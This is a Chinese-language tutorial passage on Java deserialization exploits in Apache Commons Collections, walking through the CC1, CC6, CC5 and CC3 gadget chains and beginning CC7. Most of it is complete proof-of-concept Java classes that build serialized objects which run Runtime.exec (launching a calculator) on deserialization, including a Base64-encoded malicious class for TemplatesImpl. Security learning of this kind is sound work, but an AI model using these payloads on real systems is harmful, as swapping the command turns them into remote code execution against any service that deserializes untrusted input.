是在JDK内部的类，不能直接使用new来实例化。我使用反射获取到了它的构造方法，并将其设置成外部可见的，再调用就可以实例化 了。
AnnotationInvocationHandler类的构造函数有两个参数，第一个参数是一个Annotation类；第二个是参数就是前面构造的Map。为什么是Annotation类又为什么是要使用Retention.class呢
##### 为什么需要使用反射
在上面我们构造了一个AnnotationInvocationHandler对象 他就是我们反序列化利用链的起点了 通过如下代码将这个 对象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
我们将这段代码拼接到demo代码的后面
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\\\WINDOWS\\System32\\calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
但是好像还是不能直接生成一个序列化数据流
在writeObject的时候出现了问题 `java.io.NotSerializableException: java.lang.Runtime`
意思就是这个并不是一个支持序列化的对象 我们待序列化的对象 和 所有他使用的内部属性对象 必须都是实现了 java.io.Serializable 接口
我们最早传进去的Runtime.getRuntime() 中并没有实现此接口 所以不能被实例化
所以 我们需要用到反射 直接通过反射来获取当前上下文中的Runtime对象 并不需要直接使用到这个类
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\\\WINDOWS\\System32\\calc.exe");
我们融合进去就是 将Runtime.getRuntime() 换成 Runtime.class 前者是java.lang.Runtime 的一个对象
后者是java.lang.Class 对象 Class类又Serializable接口 可以被反序列化
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
##### 仍然无法触发
在我们依据上面修改之后 输出了序列化之后的数据流 但是 反序列化 并没有弹出计算器 这是为什么捏
这个实际上和AnnotationInvocationHandler类的逻辑有关，我们可以动态调试就会发现AnnotationInvocationHandler:readObject
的逻辑中，有一个if语句对var7进行判断，只有在其不是null的时候才会进入里面执行setValue，否则不会进入也就不会触发漏洞：
在我们满足以下两个条件的时候 var7不为null
1. sun.reflect.annotation.AnnotAationInvocationHandler 构造函数的第一个参数必须是Annotation的子类，且其中必须含有至少一个方法，假设方法名是X
2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
所以 在上面引入了Retention.class 在其中有一个方法 名为value 为了再满足第二条件 我们需要在map中放入一个键名为value的元素
也就是
`innerMap.put("value", "xxxx");`
但是 在高版本中 这个地方无法再进行利用 因为 对于AnnotAationInvocationHandler.readObject 已经被修改了
在这里 新添加了一个`LinkedHashMap` 这个`LinkedHashMap` 会将我们之前构造的键值给添加进去 同时 后续的put set操作
都是在基于这个新对象进行的 也就不会触发rce了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
### LazyMap
LazyMap也是来自于Common-Collections 库 并继承AbstractMapDecorator
故名思意 其意为 懒加载 当你get不到值的时候 此类就会调用factory.transform方法 去获取一个值
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
与之前的TransformedMap不同之处在于 TransformedMap是在写入元素的时候 执行transform 而LazyMap
是在当你get找不到值的时候 会调用factory.transform获取一个值
在ysoserial中 是使用了AnnotationInvocationHandler类的invoke方法 来调用到get
调用栈
那么我们在之前TransformedMap可以直接完成我们的调用 但是在LazyMap中
我们还需要调用AnnotationInvocationHandler类的invoke 也就是 我们需要解决
从AnnotationInvocationHandler类的readObject 到 invoke的问题 在ysoserial中
使用到的是Java的对象代理
在这里 我们使用到 java.reflect.Proxy 来实现在静态语言中 对一个对象内部的方法进行调用 类似于 php中的__call
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
其中 newProxyInstance 方法有三个参数
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
loader 使用哪个类加载器 去加载代理对象 这个我们一般用默认的即可
interfaces 动态代理需要实现的接口 是我们需要代理的对象的集合
h 动态代理方法执行的时候 会调用h里面的invoke方法执行 一个 `InvocationHandler` 对象
package org.vulhub.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
在这个类 中 我们定义了一个invoke方法 也就是在模仿在AnnotationInvocationHandler的invoke方法 我们
现在需要从外部调用这个invoke方法
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
在这里 h参数的位置 填入了我们之前写出的一个ExampleInvocationHandler类 也就是会调用到其中的invoke方法
虽然我们传入了helloworld 但还是 输出了 Hacked Object 我们可以如法炮制
在AnnotationInvocationHandler处也如此操作
`sun.reflect.annotation.AnnotationInvocationHandler` 也是一个
`InvocationHandler` 对象 我们将这个对象 使用 Proxy代理 当我们调用任何方法 都会进入到invoke中
我们代理的对象 是proxyMap 但是我们不能直接进行序列化
我们的入口点是`sun.reflect.annotation.AnnotationInvocationHandler#readObject`
我们需要使用`AnnotationInvocationHandler` 将其包裹一下
`AnnotationInvocationHandler`是继承了serializable接口的
## CommonsCollections 6
cc6解决的是 cc1 在jdk高版本中无法成功利用的问题
先给出ysoserial的利用链
与之前有所不同的是 在cc6中 没有再使用`AnnotationInvocationHandler`中的readObject
但是最后落脚点还是再LazyMap的get方法上
同时 给出p牛的简化版的利用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
也就是说 在这里 我们还是需要再找一个调用到LazyMap.get() 的地方 于是乎 我们盯上了`TiedMapEntry`
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
其中 构造函数TiedMapEntry map是我们可控的 同时 再getValue中调用了map.get 在hashCode中 又调用了getValue
那么 任务就变成了找哪里调用到了 `TiedMapEntry#hashCode()` 在ysoserial中 使用了3步 而在p牛的步骤中
从java.util.HashSet#readObject 中 就能找到 `HashMap#hash()`的调用
调用栈是这样子的
接下来我们来手动写一下gadget
先将transformchain写出来
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformer);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
这里还先构造了一个fakeTransformers 可以避免在本地调试的时候 触发命令执行 只需要在最后将我们的transformers替换进去即可
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
然后需要把我们上面构造的outerMap 放到 TiedMapEntry中
TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
后面 我们还需要 调用到 `TiedMapEntry#hashCode()` 方法 我们需要将tme对象作为HashMap中的一个key
这里我们需要新建一个HashMap
补上 生成序列化字符串 和本地测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
构造完成之后 尝试运行 但是 并没有弹出计算机
在我们进行调试找问题的时候 我们发现
因为key值不为空 进入了else语句 而 我们所需要的是在上面transform
那么 我们需要在原有的利用链上 稍加修改 将这个key去掉 得到如下的poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
我们在加上了`outerMap.remove("keykey");`
确实将key去掉了
可在Java7 和 8 的高版本触发 没版本限制
## CommonsCollections 5
先给出 ysoserial的调用链
同样与 CC6 比较一下
这里没有再使用HashMap 来作为readObject之后的入口 使用了`BadAttributeValueExpException`
来触发TiedMapEntry.toString在上面 我们使用了TiedMapEntry的getvalue方法 这里我们使用toString
我们看一下toString方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
在toString中 依旧是调用到了getValue方法 后面也就是和CC6链相同了
那么现在我们的问题在于 找一个调用了toString的地方
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这里在`BadAttributeValueExpException` 中 存在toString的调用 val是私有变量 并不能被直接调用
我们需要使用反射来调用
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);//设置可以访问
val.set(badAttributeExpException, tiedMapEntry);
这里的Field也就是java.lang.reflect.Field，是成员变量类
当你使用`Class.getField()`获取非公有的变量的时候 会报错 下面这张图给出了几种方法
我们这里使用getDeclaredField方法 成功利用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
//BadAttributeValueExpException 实例
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射设置 val
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
## CommonsCollections3
### TemplatesImpl
`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类中定义了一个内部类
TransletClassLoader 在此类中重写了defineClass方法
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
且没有声明定义域 那么 默认的定义域就是default 可以被外部所调用的 但是 这个方法在其父类之中 是一个protected类型的方法
这也就给我们提供了可乘之机
其大体的调用链是这样的
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
在这个调用链中 最起始的两个方法 都是用public方法声明的 那么 我们就可以从外部来调用这两个方法
byte[] code =
Base64.getDecoder().decode("xxxx");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
这里再code中存放的就是字节码 然后 是对TemplatesImpl的实例化
同时 setFieldValue 又可以 对私有属性进行操作 便可以设置TemplatesImpl中的变量_bytecodes是字节码
_name是任意字符串_tfactory是一个TransformerFactoryImpl对象
我们可以想一下 我们在之前transformchain的基础之上
如果我们将ConstantTransformer替换成这里的`TemplatesImpl` 然后 将下面的InvokeTransformer改成这里
解字节码的方法 是不是就可以成功执行了呢
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3demo {
public static void main (String[] args){
byte[] code =
Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("123123","123123");
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
尝试构造 一个demo
是可以成功执行的 然后我们将我们的demo和完整的cc3的poc对比一下 发现 在cc3中 并没有使用到InvokerTransformer
而是使用到了`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilte`
在这个类中直接给出了`(TransformerImpl) templates.newTransformer();` 也就避免了我们自己手动使用
`InvokerTransformer`来实现的过程 同时 也因为 `InvokerTransformer`经常会被过滤到
我们需要寻找一种新的方法来绕过
当我们不使用`InvokerTransformer` 的时候 我们会面临一个新的问题 我们需要获取`TrAXFilter`的构造函数 再使用此构造方法
去调用 字节码 我们使用`InstantiateTransformer`
可以看到 这个类就是用来获取构造方法的
再在原来的基础上 加上`AnnotationInvocationHandler` 类的反射调用 和
动态代理触发`AnnotationInvocationHandler#invoke`方法即可构造出poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3demo {
public static void main (String[] args){
byte[] code =
Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("123123","123123");
}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}
## CommonsCollections 7
先放出ysoserial的调用链
同样的CC7也是通过LazyMap.get() 来触发Transformer数组的 同样的 我们只需要去找谁调用到了get即可
我们从ysoserial的poc中 我们可以发现一个新面孔
根据上面的注释 我们不难得知 这里通过两个对象的碰撞来触发的
看一下Hashtable的readObject
for循环 将传入的key和value的序列化流读出来 填入`reconstitutionPut`
